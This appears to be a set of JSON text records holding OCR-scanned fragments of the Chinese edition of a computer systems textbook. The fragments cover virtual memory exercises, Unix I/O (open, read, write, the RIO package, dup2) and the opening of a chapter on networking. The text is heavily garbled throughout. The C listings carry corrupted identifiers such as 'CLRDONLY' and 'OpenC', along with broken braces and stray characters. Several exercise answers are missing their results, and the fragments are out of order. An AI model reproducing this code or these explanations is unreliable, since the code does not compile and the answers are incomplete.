    {"text": "9.12 小结 虚拟存储器是对主存的一个抽象。 支持虚拟存储器的处理器通过使用一种叫做虚拟寻址的间 接形式来引用主存。 处理器产生一个虚拟地址，在被发送到主存之前，这个地址被翻译成一个物 理地址。"},
    {"text": "对磁盘上页的引用会触发缺页，缺页将控制转 移到操作系统中的一个缺页处理程序。 缺页处理程序将页面从磁盘拷贝到主存缓存，如果必要, 将写回被驱逐的页。"},
    {"text": "常见的错误示 例包括：间接引用坏指针，读取未初始化的存储器，允许栈缓冲区溢出，假设指针和它们指向的 对象大小相同，引用指针而木是它所指向的对象，误解指针运算，引用不存在的变量，以及引起 存储器泄漏。"},
    {"text": "Kemighan和Ritchie[58]展示了一个简单分 配器的完整代码，这个简单的分配器是基于显式空闲链表的，每个空闲块中都有一个块大小和后 继指针。"},
    {"text": "（是/否） PPN C.物理地址格式 10 98765432 1 0 D. 物理地址引用 参数 值 字节偏移 缓存索引 缓存标记 S 缓存命中？ （是/否） 返回的缓存字节 9.12对于下面的地址，重复习题9.11: 虚拟地址：0x03a9 虚拟地址格式 12 11 10 9 8 7 6 5 4 3 2 1 0 B. 地址翻译 参数 值 VPN TLB索引 TLB标记 TLB命中？"},
    {"text": "（是/否） PPN C.物理地址格式 10 9876543210\nD.物理地址引用 参数 值 字节偏移 缓存索引 缓存标记 缓存命中？ （是/否） 返回的缓存字节 *9.13 对于下面的地址，重复习题9.11: 虚拟地址：0x0040 虚拟地址格式 13 12 11 10 9 8 7 6 5 4 3 2 1 0 B•地址翻译 参数 值 VPN TLB索引 TLB标记 TLB命中？"},
    {"text": "（是/杏） 返回的缓存字节 请求 块大小（十进制字节） 块头部（十六进制） malloc(3) malloc(11) malloc(20) malloc(21) *9.16确定下面对齐要求和块格式的每个组合的最小块大小。"},
    {"text": "对齐要求 已分配块 空闲块 最小块大小（字节） 单字 头部和脚部 头部和脚部 单字 头部，但是没有脚部 头部和脚部 双字 头部和脚部 头部和脚部 双字 头部，但是没有脚部 头部和脚部 79.17开发9.9.12节中的分配器的一个版本，执行下一次适配搜索，而不是首次适配搜索。"},
    {"text": "V9.18 9.9.12节中的分配器要求每个块既有头部也有脚部，以实现常数时间的合并。 修改分配器，使得空 闲块需要头部和脚部，而巳分配块只需要头部。"},
    {"text": ". 对于最佳适配方法，空闲块链表应该按照存储器地址的递增顺序排序。 最佳适配方法选择与请求段匹配的最大的空闲块。 在按照块大小递增的顺序排序的空闲链表上，使用首次适配算法与使用最佳适配算法等价。"},
    {"text": "#虚拟地址位⑷ #虚拟地址 (N) 最大可能的虚拟地址 8 2 8 = 256 2 8 - 1 =255 16 2 16 = 64K 2 16 - 1=64K- 1 32 2 32 = 4G 2 n -l=4G-l 48 2 48 = 256T 2^ = 2561-1 64 2 m =16 384P 2 64 -l= 16 384P-l 练习题 9.2因为每个虚拟页面是P = 2〃字节，所以在系统中总共有272〃 = 2^^个可能的页面，其中每个都 需要一个页表条目（PTE)。"},
    {"text": "P #VPN 位 mo位 #PPN 位 #PPO 位 1KB 22 10 14 10 2KB 21 ii 13 11 4KB 20 12 12 12 8KB 19 13 11 13 练习题 9.4做一些这样的手工模拟，能很好地巩固你对地址翻译的理解。"},
    {"text": "code/vm/mmapcopy. c #include \"csapp.h\" / 9 mmapcopy ~ uses mmap to copy file fd to stdout */ void mmapcopy(int fd, int size) { char *bufp; /* Pointer to memory mapped VM area +/ bufp = Mmap(NULL, size, PROT_READ, MAP.PRIVATE, fd, 0); Write(1, bufp, size); return; /* mma.pc;opy driver 木 / int main(int argc, char 10 argv) struct stat stat; int fd; Check for required command line argument */ i< (argc != 2) { printf(\"usage: %s <filename>\\n\", argv[0]); exit(0); } /* Copy the input; argument to stdout */ fd = Open(argv[l], CLRDONLY, 0); fstat(fd, festat); mmapcopy(fd, stat.st_size); exit(0); 请求 块大小（十进制字节） 块头部（十六进制） malloc(1) 8 0x9 malloc(5) 16 0x11 malloc(12) 16 0x11 malloc(13) 24 0x19 练习题9.7 最小块大小对内部碎片有显著的影响。"},
    {"text": "例如，在最后一个子问题中，最小的巳 分配块大小是一个4字节头部和一个1字节有效载荷，舍入到8字节。 而最小空闲块的大小是一个4字节 的头部和一个4字节的脚部，加起来是8字节，巳经是8的倍数，就不需要再舍入了。 所以， 这个分配器 的最小块大小就是8字节。"},
    {"text": "对齐要求 已分配玦 空闲块 最小块大小（字节） 单字 头部和脚部 头部和脚部 12 单字 头部，但是没有脚部 头部和脚部 8 双字 头部和脚部 头部和脚部 16 双字 头部，但是没有脚部 头部和脚部 8 练习题 9.8 这里没有特别的技巧。"},
    {"text": "： code/vm/malloc/mm. c static void *find_fit (size_t asize) { 卜 First fit search */ void *bp; for (bp = heap_listp; GET_SIZE(HDRP(bp)) > 0; bp = NEXT_BLKP(bp)) { if (!GET_ALLOC(HDRP(bp)) && (asize <= GET_SIZE(HDRP(bp)))) { return bp; > > return NULL ;卜 No fit */\nPUT(FTRP(bp), PACK(asize， 1)); bp = NEXT_BLKP(bp); o 0)); 0)); PUT(HDRP(bp), PACK(csize-asize, PUT(FTRP(bp), PACK(csize-asize, } else { PUT(HDRP(bp), PACK(csize, 1)); PUT(FTRP(bp), PACK(csize, 1)); }\ncode/vm/malloc/mm. c 练习题9.10这里有一个会引起外部碎片的模式：应用对第一个大小类做大量的分配和释放请求，然后对 第二个大小类做大量的分配和释放请求，接下来是对第三个大小类做大量的分配和释放请求，以此类推。"},
    {"text": "www.TopSage.com\nI 第三部分 I Computer Systems ： A Programmer’s Perspective, 2E | 程序间的交互和通信 我们学习计算机系统到现在，一直假设程序是独立运行的，只包含最 小限度的输入和输出。"},
    {"text": "本书的这一部分将使你了解Unix操作系统提供的基本I/O服务，以及 如何用这些服务来构造应用程序，例如Web客户端和服务器，它们是通过 Internet彼此通信的。"},
    {"text": "I 第 10 章 I | Computer Systems ： A Programmer' s Perspective, 2E 系统级 i/o 输入/输出（I/O)是在主存和外部设备（如磁盘驱动器、终端和网络）之间拷贝数据的过 程。 .输人操作是从I/O设备拷贝数据到主存，而输出操作是从主存拷贝数据到I/O设备。"},
    {"text": "例如，I/O在进程的创建和执行中扮演 着关键的角色。 反过来，进程创建又在不同进程间的文件共享中扮演着关键角色。 因此, 要真正理解 I/O, 你必须理解进程，反之亦然。"},
    {"text": "10.1 Unix I/O 一个Unix文件就是一个 m 个字节的序列： 方 o ，丑 1 ，…， B k ， …， B m -i 所有的I/O设备，如网络、磁盘和终端，都被模型化为文件，而所有的输入和输出都被当做对相应 文件的读和写来执行。 这种将设备优雅地映射为文件的方式，允许Unix内核引出一个简单、低级 的应用接口，称为Unix I/O,这使得所有的输入和输出都能以一种统一且一致的方式来执行： • 打开文件。"},
    {"text": "10.2 打开和关闭文件 进程是通过调用open函数来打开一个已存在的文件或者创建一个新文件的： #include <sys/types.h> #include <sys/stat .li> #include <fcntl.h> int open(char ^filename, int flags, mode_t mode); 返回：若成功则为新文件描述符，若出错为 —1 。 open函数将filename转换为一个文件描述符，并且返回描述符数字。"},
    {"text": "例如，下面的代码说明如何以读的方式打开一个已存在的文件： fd = OpenC'foo.txt\", CLRDONLY, 0); flags参数也可以是一个或者更多位掩码的或，为写提供给一些额外的指示： •0_CREAT:如果文件不存在，就创建它的一个 截新的 （truncated)(空）文件。"},
    {"text": "例如，下面的代码说明的是如何打开一个已存在文件，并在后面添加一些数据： fd = OpenC'foo.txt\", 0_WR0NLYIO.APPEND , 0); mode参数指定了新文件的访问权限位。"},
    {"text": "作为上下文 的一部分，每个进程都有一个umask,它是通过调用umask函数来设置的。 当进程通过带 某个mode参数的open函数调用来创建一个新文件时，文件的访问权限位被设置为mode & 〜umask。 例如，假设我们给定下面的mode和umask默认值： #define DEF.M0DE S.IRUSRIS.IWUSRIS.IEGRPIS.IWGRPIS_IR0TH|S_IW0TH #define DEF.UMASK S_IWGRPIS 胃 IWOTH 接下来 ， 下面的伐码片段创建一个新文件，文件的拥有者有读写权限，而所有其他的用户都有读 权限： umask(DEF.UMASK); fd = OpenC'foo.txt\", 0_CREATIO.TRUNGI0_WR0NLY , DEF_M0DE); 掩码 描述 SJRUSR 使用者（拥有者）能够读这个文件 SJWUSR 使用者（拥有者）能够写这个文件 S_IXUSR 使用者（拥有者）能够执行这个文件 SJRGRP 拥有者所在组的成员能够读这个文件 S_IWGRP 拥有者所在组的成员能够写这个文件 SJXGRP 拥有者所在组的成员能够执行这个文件 SJROTH 其他人（任何人）能够读这个文件 S_IWOTH 其他人（任何人）能够写这个文件 SJXOTH 其他人（任何人）能够执行这个文件 图 10-1 访问权限位。"},
    {"text": "1 #include \"csapp.h\" 2 3 A int mainO j *t 5 t int fdl, fd2; 6 7 fdl = Open(\"foo. txt\" ,CLRD0NLY, 0)； 8 Close(fdl); 9 fd2 = Open (\"baz.txt\" ,0_RD0NLY, 0)； 10 printf(\"fd2 = %d\\n\", fd2); n ■ exit(0); 12 > 10.3 读和写文件 应用程序是通过分别调用read和write函数来执行输入和输出的。 #include <unistd.h> ssize_t read(int fd, void *buf, size_t n); 返回：若成功则为读的字节数，若 EOF 则为 0, 若出错为一 1 。 ssize_t write(int fd, const void *buf, size_t n); 返回：若成功则为写的字节数，若出错则为一 1 。 read函数从描述符为fd的当前文件位置拷贝最多《个字节到存储器位置buf。"},
    {"text": "code/io/cpstdin. c ] #include \"csapp.h\" 2 int main(void) char c: 8 9 10 while (Read (STDIN__FILEN0, &c, 1) != 0) Write(STDOUT.FILENO, &c, 1); exit(0); code/io/cpstdin, c 图 10-2 —次一个字节地从标准输入拷贝到标准输出 通过调用lseek函数，应用程序能够显示地修改当前文件的位置，这部分内容不在我们的 讨论范围之内。"},
    {"text": "然而，如果你想创建健壮的（可靠的）诸如Web服务器这样的网络应用，就必 须通过反复调用read和write处理不足值，直到所有需要的字节都传送完毕。"},
    {"text": "10.4 用 RIO 包健壮地读写 在这一节里，我们会讲述一个I/O包，称为RIO (Robust I/O,健壮的I/O)包，它会自动为 你处理上文中所述的不足值。"},
    {"text": "这些函数允许你高效地从文件中读取文本行和二进制数据，这些文 件的内容缓存在应用级缓冲区内，类似于为像printf这样的标准I/O函数提供的缓冲 区。"},
    {"text": "#include \"csapp.h\" ssize.t rio_readn(int fd, void *usrbuf, size_t n); ssize_t rio_writen(int fd, void *usrbuf, size_t n); 返回：若成功则为传送的字节数，若 EOF 则为 0 (只对 rio_readn 而言），若出错则为一 1 。 rio_readn函数从描述符fd的当前文件位置最多传送《个字节到存储器位置usrbuf。 类似地，rio_writen函数从位置usrbuf传送《个字节到描述符fd。"},
    {"text": "一种更好的方法是调用一个包装函数（rio一readlineb),它从一个内部读 缓冲区 拷贝一 个文本行，当缓冲区变空时，会自动地调用read重新填满缓冲区。 对于既包含文本行也包含二 进制数据的文件（例如11.5.3节中描述的HTTP响应)，我们也提供了一个rio_readn带缓冲 区的版本，叫做rio一readnb,它从和rio一readlineb—样的读缓冲区中传送原始 字节。"},
    {"text": "#include \"csapp.h\" void rio_readinitb (rio_t *rp, int fd); 返回：无。 ssize_t rio_readlineb(rio_t *rp, void *usrbuf, size 編 t maxlen); ssize_t rio_readnb(rio_t *rp, void *usrbuf i size^t n); 返回：若成功则为读的字节数 , 若 EOF 则为 0 ， 若出错则为一 1 。 ■ code/src/csapp. c ssize.t rio_readn(int fd, void *usrbuf, { size_t nleft = n; ssize_t nread; char *bufp = usrbuf; while (nleft > 0) { if ((nni = read(fd, bufp, nleft)) < 0) { y else if (nread = break; nleft -= nread; bufp += nread; > return (n - nleft); Interrupted by sig handler return */ and call read() again */ code/src/csapp. c code/src/csapp. c ssize_t rio_writen(int fd, void *usrbuf, size_t n) size_t nleft = n; ssize_t nwritten; char *bufp = usrbuf; while (nleft > 0) { if ((nwritten = write(fd, bufp, nleft)) <= 0) { Interrupted by sig handler return */ and call write () again */ errno set by v;i 丨 」水 / 4 5 6 7 9 10 11 12 13 14 15 16 17 \\9 20 if (errno == EINTR) /* nread = 0; else return -1; h /* errno set by read.() */ 0) /水 EOF */ 卜 Return >= 0 */ if (errno == EINTR) /* nwritten = 0; /* else return -1; \"\n> nleft -= nwritten; bufp += nwritten; > return n; code/src/csapp.c 图 10-3 rio_readn 和 rio_writen 函数 每打开一个描述符都会调用一次rio_readinitb函数。"},
    {"text": "rio_readinitb函数从文件rp读出一个文本行（包括结尾的换行符），将它拷贝到存 储器位置usrbuf,并且用空（零）字符来结束这个文本行。 rio—readlineb函数最多读 maxlen-1个字节，余下的一个字符留给结尾的空字符。"},
    {"text": "code/io/cpfilex #include \"csapp.h\" int main(int argc, char **argv) { int n; rio_t rio; char buf[MAXLINE]; Rio_readinitb(&rio, STDIN_FILEN0); while((n = Rio_readlineb(&rio, buf, MAXLINE)) != 0) Rio.writen(STD0UT_FILEN0, buf, n); 12 code/io/cpfile.c 图10-4从标准输入拷贝一个文本文件到标准输出 图10-5展示了一个读缓冲区的格式，以及初始化它的rio一readinitb函数的代码。 rio_readinitb函数创建了一个空的读缓冲区，并且将一个打开^文件描述符和这个缓冲区 联系i来。 code/include/csapp. h\n#define RICLBUFSIZE 8192 typedef struct { 、 int rio_fd; int rio_cnt ; char *rio_bufptr; char rio_buf[RICLBUFSIZE]; ? > rio_t; /* Descriptor for this internal buf */ /* Unread bytes in internal buf 伞 / /* Mext, unread byte in internal buf */ /* Internai buffer */ code/include/csapp. h\n, code/src/csapp. c\nvoid rio_readinitb(rio_t *rp, int fd) rp->rio_fd = fd; rp->rio_cnt = 0; rp->rio_bufptr = rp->rio_buf; code/src/csapp.c 图10-5 —个类型为rio_t的读缓冲区和初始化它的rio_readinitb函数 RIO读程序的核心是如图10-6所示的rio_read函数。 rio一read函数是Unix read函数 的带缓冲的版本。 当调用rio_read要求读n个字节时，读缓冲区内有rp->rio一cnt个未读 字节。 如果缓冲区为空，那么会通过调用read再填满它。 这个read调用收到一个不足值并不 是错误，只不过读缓冲区是填充了一部分。 一旦缓冲区非空，rio一read就从读缓冲区拷贝n 和rp->rio_cnt中较小值个字节到用户缓冲区，并返回拷贝的字节数。 code/src/csapp. c static ssize.t rio_read(rio_t *rp, char *usrbuf, size_t n) { int cnt; while (rp->rio_cnt <= 0) { /* Refill If buf is empty */ 7 9 '1 (3 1 1 12 13 rp->rio_cnt = read(rp->rio_fd, rp->rio_buf, sizeof(rp->rio_buf)); if (rp->rio_cnt < 0) { if (errno != EINTR) /* Interrupted by sig handler return *■/ return -1; > else if (rp->rio_cnt == 0) A EOF */ return 0; else 15 '17 18 19 21 22 23 24 25 rp->rio_bufptr = rp->rio_buf; /* Reset buffer ptr */ > /* Copy min(n, rp->rio„cnt) bytes from internal buf to user buf */ cnt = n; if (rp->rio_cnt < n) cnt = rp->rio_cnt; memcpy(usrbuf, rp->rio_bufptr, cnt); rp->rio_bufptr += cnt; rp->rio_cnt -= cnt; return cnt; > code/src/csapp. c 图10-6 内部的rio_read函数 对于一个应用程序，rio一read函数和Unix read函数有同样的语义。"},
    {"text": "两个函数的相似性使得很容易通过用rio—read 代替read来创建不同类型的带缓冲的读函数。 例如，用rio—read代替read,图10-7中的 rio_readnb函数和rio—readn有相同的结构。"},
    {"text": "3 int n, rc; A c char c. ,*bufp = usrbuf ; J> 6 for (n = 1; n < maxlen; n++) { 7 if ((rc = rio_read(rp, &c, 8 *bufp++ = c; 9 if (c 二二 'W) 10 break; 11 } else if (rc == 0) { 12 if (n == 1) 13 return 0; /* EOF, no data read */ 14 else 15 break; /* EOF ， some data was read */ 16 } else 17 return -1; /* Error */ 18 } 19 ♦bufp =o ； 20 return n; code/src/csapp.c ssize_t rio^readlineb(rio_t *rp, void *usrbuf, size_t maxlen) code/src/csapp. c . code/src/csapp. c ssize_t rio_readnb(rio_t *rp, void *usrbuf, size_t n) size_t nleft = n; ssize_t nread; char *bufp = usrbuf; while (nleft > 0) { if ((nread = rio 一 read(rp, bufp, nleft)) < 0) { if (errno == EINTR) /氺 Interrupted by sig handler return 氺 / nread = 0; /* Call readO again */\nelse return -1; > else if (nread == 0) break; nleft -= nread; bufp += nread; > return /* errno set by read() */ /* EOF */ /* Return >= 0 */\n. code/src/csapp. c 图 10-7 rio readlineb 和 rio_readnb 函数 10.5 读取文件元数据 应用程序能够通过调用stat和f stat函数，检索到关于文件的信息（有时也称为文件的 元数据 （metadata))。"},
    {"text": "#include <unistd.h> #include <sys/stat.h> int stat(const char *filename, struct stat *buf); int fstat(int fd, struct stat *buf); 返回：若成功则为 0, 若出错则为一 1 。"},
    {"text": "/* Metadata returned by the struct stat { dev_t st_dev; ino_t st_ino; mode_t st.mode; nlink_t st_nlink uid_t st_uid; gid_t st_gid; dev_t st_rdev; off_t st_size; statbuf.h (included by sys/stat.h) stat and fstat functions */ h h h h /* /* h Device */ inode */ Protection and file type */ Number of hard links */ User ID of owner 氺 / Group ID of owner */ Device type (if inode device) */ Total size, in bytes */ unsigned long st_blksize; /* unsigned long st^blocks; /* time_t st_atime; /* time_t st_mtime; /* time_t st_ctime; h Blocksize for filesystem I/O 氺 / Number of blocks allocated */ Time of last access */ Time of last modification */ Time of last change */ statbuf.h (included by sys/stat.h) 图10-8 stat数据结构 st一size成员包含了文件的字节数大小。"},
    {"text": "在sys/stat.h中定义\ncode/io/statcheck. c #include \"csapp.h\" 2 3 int main (int argc, char **argv) 5 struct stat stat; 6 7 char *type, *readok ; / 8 Stat(argv [1], festat); 9 if (S_ISREG(stat.st.mode)) /* Determine file type 10 type = \"regular\" ; 11 else if (S_ISDIR(stat .st.mode)) 12 type = \"directory\" ; 13 else hi type - \"other\"; 15 if ((stat.st_mode & S_IRUSR) ) /* Check read access */ 16 readok = \"yes\"; 17 else 18 readok = \"no\"; printf(\"type: %s, read: %s\\n\", type, readok); exit(0); : code/io/statcheck. c 图 10-10 查询和处理一个文件的 stjnode 位 10.6 共享文件 可以用许多不同的方式来共享Unix文件。"},
    {"text": "每个文件表的表项组成（针对我们的目的）包括有当前的文件位置、 引用计数 （reference count)(即当前指向该表项的描述符表项数)，以及一个指向v-node表中对应表项的指针。"},
    {"text": "打开文件表 (所有进程共享） 描述符表 (每个进程一张表) 0 12 3 4 fdfdfdfdfd stdin stdout stderr 文件位置 refcnt=l 文件A v-node 表 (所有进程共享） ► 文件访问 文件位置 文件大小 refcnt=l 文件类型 文件B 文件访问 文件大小 文件类型\n图10-11典型的打开文件的内核数据结构。"},
    {"text": "没有共享\n描述符表 (每个进程一张表） 打开文件表 (所有进程共享） 文件A 0 12 3 4 fdfdfdfdfd v-node 表 (所有进程共享） 文件访问 文件位置 / 文件大小 refcnt=l / 文件类型 / 文件位置 refcnt=l\n图10-12文件共享。 这个例子展示了两个描述符通过两个打开文件表表项共享同一个磁盘文件 打开文件表 v-node 表 的寻 M 还付表 （所有进程共享） （所有进程共享） 父进程的表 文件A fdO ——— 文件访问 fdl fd 2 文件位置 文件大小 fd3 / refcnt =2 文件类型 fd4 \\ / ： 0 12 3 4 ifdfdfdfdfd\n练习题10_2假设磁盘文件foobar.txt由6个ASCII码字符“foobar”组成。"},
    {"text": "#include \"csapp.h\" 2 int mainO { int fdl, fd2; char c; , fdl = Open(\"foobar.txt\", 0_RD0NLY, 0); fd2 = OpenC'foobar.txt\", O.RDONLY, 0); Read(fdl, &c, 1); n Read(fd2, &c, 1); printf(\"c = %c\\n\", c); !3 exit(0); ®练习题10.3就像前面那样，假设磁盘文件foobar.txt由6个ASCII码字符“foobar”组成。"},
    {"text": "#include \"csapp.h\" int malaO { O.RDONLY, 0); int fd; char c; fd = 0penCfoobar.txt\" 3 if (ForkO == 0) { Read(fd, &c, 1); exit(0); > Wait(NULL); Read(fd, &c, 1); printf(\"c = %c\\n\", c); exit(0); I/O 重定向 Unix外壳提供了 I/O 重定向 操作符 ， 允许用户将磁盘文件和标准输入输出联起来。 例如，键入 unix> Is > foo.txt 使得外壳加载和执行IS程序，将标准输出重定向到磁盘文件foo.txt。"},
    {"text": "#include <unistd.h> int dup2(int oldfd, int newfd) 返回：若成功则为非负的描述符，若出错则为一 1 。 dup2函数拷贝描述符表表项oldfd到描述符表表项newfd,覆盖描述符表表项newfd以 前的内容。"},
    {"text": "假设在调用dup2(4,l)之前，我们的状态如图10-11所示，其中描述符1 (标准输出）对 应于文件A (比如一个终端)，描述符4对应于文件B (比如一个磁盘文件)。"},
    {"text": "描述符表 打开文件表 v-node表 (每个进程一张表） （所有进程共享) (所有进程共享) 文件A 图10-14通驾调用dup2 (4,1)重定向标准输出之后的内核数据结构。"},
    {"text": "初始状态如图10-11所示 左边和右边的 hoinkies 为了避免和其他括号类型操作符，比如“]”和“[”相混淆 ， 我们总是将外壳的“>”操作 符称为“右hoinky”，而将 “<” 操作符称为“左hoinky”。"},
    {"text": "®练习题10_4如何用du P 2将标准输入重定向到描述符5 ? 练习题10.5假设磁盘文件foobar.txt由6个ASCII码字符“foobar”组成，那么下列程序的输 出是什么？"},
    {"text": "! #include \"csapp.h\" 2 int mainO { int fdl, fd2; char c; ' fdl = OpenC'foobar.txt\", CLRDONLY, 0); fd2 = OpenC'foobar.txt\", 0_RD0NLY, 0); Read(fd2, &c, 1); Dup2(fd2, fdl); Read(fdl, &c, 1); printf(\"c = %c\\n\" , c) ; exit(0); > 标准 I/O 级别的替代。"},
    {"text": "这个库(libc)提供了打开和关闭文件的函数（fopen和fclose)、读和写字节 的函数（fread和fwrite)、读和写字符串的函数（fgets和fputs),以及复杂的格式化的 I/O 函数（scanf 和 printf )。"},
    {"text": "每个ANSI C程序开始时都有三个打开的流stdin、stdout和 stderr,分别对应于标准输入、标准输出和标准错误： #include <stdio.h> extern FILE *stdin; /* Standard input (descriptor 0) 伞 / extern FILE * stdout ; /氺 Standard output (descriptor 1) */ extern FILE *stderr; /* Standard error (descriptor 2) */ 类型为FILE的流是对文件描述符 和流缓冲区的 抽象。"},
    {"text": "当第一次调用getc时，库 通过调用一次read函数来填充流缓冲区，然后将缓冲区中的第一个字节返回给应用程序。 只要 缓冲区中还有未读的字节，接下来对getc的调用就能直接从流缓冲区得到服务。"},
    {"text": "综合：我该使用哪些 I/O 函数\nfdopen fwrite fprintf sprintf fputs fseek n d n n s s S e a a a tuo p e c c e 11 o r s sgf c 图10-15 Unix I/O、标准I/O和RIO之间的关系 rio _readn rio\" ■writen rio\" readinitb rio' readlineb rio\" •readnb open read write lseek stat close\n那么，在你的程序中该使用这些函数中的哪一个昵？"},
    {"text": "就像我们将在11.4节中看到的那样，Unix对网络的抽象是一种称为 套接字 的文件类型。 和任何 Unix文件一样，套接字也是用文件描述符来引用的，在这种情况下称为套 接字描 述符。 应用进 程通过读写套接字描述符来与运行在其他计算机上的进程通信。"},
    {"text": "然而，要满足 第二个限制的唯一办法是，对同一个打开的套接字描述符打开两个流，一个用来读，一个用 来写： FILE *fpin, *fpout; fpin = fdopen(sockfd, \"r\"); fpout = fdopen(sockfd, \"w\"); 但是这种方法也有问题，因为它要求应用程序在两个流上都要调用fclose，这样才能释放 与每个流相关联的存储器资源，避免存储器泄漏 ： fclose(fpin); fclose(fpout); . 这些操作中的每一个都试图关闭同一个底层的套接字描述符，所以第二个close操作就会 失败。"},
    {"text": "Unix的读和写操作会出现不足值，应用程序必须能正确地预计 和处理这种情况。 应用程序不应直接调用Unix I/O函数，而应该使用RI0包，RI0包通过反复 执行读写操作，直到传送完所有的请求数据，自动处理不足值。"},
    {"text": "1 #include \"csapp.h\" 2 3 A int mainO j 4 5 \\ int fdl, fd2; 6 7 fdl = OpenC'foo.txt\", 0—RD0NLY, 0); 8 fd2 = Open (\"bar .txt 11 , 0_RD0NLY, 0); 9 Close(fd2); 10 fd2 = Open(\"baz.txt\", CLRDONLY, 0 )；"},
    {"text": "11 printf(\"fd2 = %d\\n\", fd2); 12 exit(0); 13 } *10.7修改图10-4中所示的cpfile程序，使得它用RIO函数从标准输入拷贝到标准输出，一次MAXBUF 个字节。"},
    {"text": "**10.9考虑下面对家庭作业题10.8中的fstatcheck程序的调用： unix> fstatcheck 3 < foo.txt 你可能会预想这个对fstatcheck的调用将提取和显示文件foo• txt的元数据。"},
    {"text": "根据这种情况，填写出外壳在fork和 execve调用之间必须执行的伪代码： if (ForkO == 0) i /* Child */ /* What code is the shell executing right here? */ Execve(\"fstatcheck\", argv, envp); } **10.10修改图10-4中的cpfile程序，使得它有一个可选的命令行参数infile。"},
    {"text": "练习题10.2描述符fdl和fd2都有各自的打开文件表表项，所以每个描述符对于foobar.txt都有它 自己的文件位置。 因此，从fd2的读操作会读取foobar.txt的第一个字节，并输出 而不是像你开始可能想的 练习题10.3回想一下，子进程会继承父进程的描述符表，以及所有进程共享的同一个打开文件表。"},
    {"text": "因此，父进程会读取第二个字节，而输出就是 练习题10.4重定向标准输入（描述符0)到描述符5,我们将调用du P 2(5,0>或者等价的dup2 (5,STDIN_FILENO> 0 练习题10.5第一眼你可能会想输出应该是 但是因为我们将fdl重定向到了 fd2,输出实际上是\nComputer Systems ： A Programmer’s Perspective, 2E 网络编程 网络应用随处可见。"},
    {"text": "11.1 客户端-服务器编程模型 每个网络应用都是基 于客户端-服务器模 型的。 釆用这个模型，一个应用是由一个 服务器 进程和一个或者多 个客户 端进程组成。"},
    {"text": "服务器管理某种资源，并且通过操作这种资源来为它的客 户端提供某种服务。 例如，一个Web服务器管理了一组磁盘文件，它会代表客户端进行检索和 执行。 一个FTP服务器就管理了一组磁盘文件，它会为客户端进行存储和检索。 相似地，一个 电子邮件服务器管理了一些文件，它为客户端进行读和更新。"},
    {"text": "服务器收到请求后，解释它，并以适当的方式操作它的资源。 例如，当Web服务器收到 浏览器发出的请求后，它就读一个磁盘文件。 服务器给客户端发送一个响应，并等待下一个请求。 例如,Web服务器将文件发送回客户端。 客户端收到响应并处理它。 例如，当Web浏览器收到来自服务器的一页后，它就在屏幕 上显示此页。"},
    {"text": "CPU 芯片 存储器总线 主存 扩展槽 图形适配器| 鼠标 键盘 监视器\n图11-2 —个网络主机的硬件组成 物理上而言，网络是一个按照地理远近组成的层次系统。"},
    {"text": "在一个桥接以太网里，一些电缆连接网桥与网桥，而另外一些连接网桥和集线器。 这些电缆的带 宽可以是不同的。 在我们的示例中，网桥与网桥之间的电缆有lGB/s的带宽，而四根网桥和集 线器之间电缆的带宽却是lOOMB/s。 A B C 图11-4桥接以太网 网桥比集线器更充分地利用了电缆带宽。"},
    {"text": "利用一种聪明的分配算法，它们随着时间自动学习 哪个主机可以通过哪 个端口 可达，然后只在有必要时，有选择地将帧 从一个端口拷 贝到另 一个端 口。"},
    {"text": "例如，如果主机A发送一个帧到同网段上的主机B,当该帧到达网桥X的输入端口时，X 就将丢弃此帧，因而节省了其他网段上的带宽。 然而，如果主机A发送一个帧到一个不同网段 上的主机C,那么网桥X只会把此帧拷贝到和网桥Y相连的端口 J：,网桥Y会只把此帧拷贝到 与主机C的网段连接的端口。"},
    {"text": "主机 主机 … 主机 图11-5局域网的概念视图 为了简化局域网的表示，我们将把集线器和网桥以及连 接它们的电缆画成一根水平线，如图11-5所示。"},
    {"text": "路由器也能连接高速点 到点电话连接，这是称为WAN (Wide-Area Network,广域网）的网络示例，之所以这么叫是 因为它们覆盖的地理范围比局域网的大。"},
    {"text": "一般而言，路由器可以用来由各种局域阿和广域网构 建互联网络。 例如，图11-6展示了一个互联网络的示例，3台路由器连接了一对局域网和一对 广域网。"},
    {"text": "解决办法是一层运行在每台主机和路由器上的协 议软件 ， 它消除了不同网络之间的差异。 这 个软件实现一 种协议 ， 这种协议控制主机和路由器如何协同工作来实现数据传输。"},
    {"text": "路由器剥落旧的LAN1的帧头，加上寻址到主机B的新 的LAN2帧头，并把得到的帧传送到适配器。 路由器的LAN2适配器拷贝该帧到网络上。 当此帧到达主机B时，它的适配器从电缆上读到此帧，并将它传送到协议软件。"},
    {"text": "主机A 客户端 主机B 服务端\n(1) 数据 (8)| 数据 互联网络 协议软件 协议软件 (2) (7) 数据 数据\nLAN1 适配器 LAN2 适配器 LAN1 帧\n路由器 (6) | 数据 | PH |FH2l (3) I 数据 |PH LAN1 适配器 LAN2 适配器 LAN2 帧 LAN1 LAN2 (4)1 数据 |PH [fHI 数据 | PH 1fH2] (5) 协议软件 图 11-7 在互联网络上，数据是如何从一台主机传送到另一台主机的。"},
    {"text": "每台因特两主机都运行实现TCP/IP协议（Transmission Control Protocol/Internet Protocol,传输控制协议/互联网络协议）的软件，几乎每个现代计算机系统都 支持这个协议。"},
    {"text": "互联网络客户端主机 用户代码 互联网络服务器主机 服务器 客户端 系统连接口 TCP/IP 内核代码 TCP/IP 硬件接口（中断） 网络适配器 网络适配器 图11-8 —个因特网应用程序的硬件和软件组织\nTCP/IP实际上是一个协议族，其中每一个都提供不同的功能。"},
    {"text": "我们将 不讨论UDP 0 从程序员的角度，我们可以把因特网看做一个世界范围的主机集合，满足以下特性： •主机集合被映射为一组32位的IP地址。"},
    {"text": ": ~ netinet/in.h /* Internet address structure */ • struct in_addr { unsigned int s_addr; /* Network byte order (big-endiaii) */ }； ： netinet/in.h 图11-9 IP地址结构 为什么要用结构来存放标量IP地址？"},
    {"text": "因为因特网主机可以有不同的主机字节顺序，TCP/IP为任意整数数据项定义了统一 的网络 字节顺序 （network byte order)(大端字节顺序），例如IP地址，它放在包头中跨过网络被携带。 在IP地址结构中存放的地址总是以（大端法）网络字节顺序存放的，即使主机字节顺序（host byte order)是小端法。"},
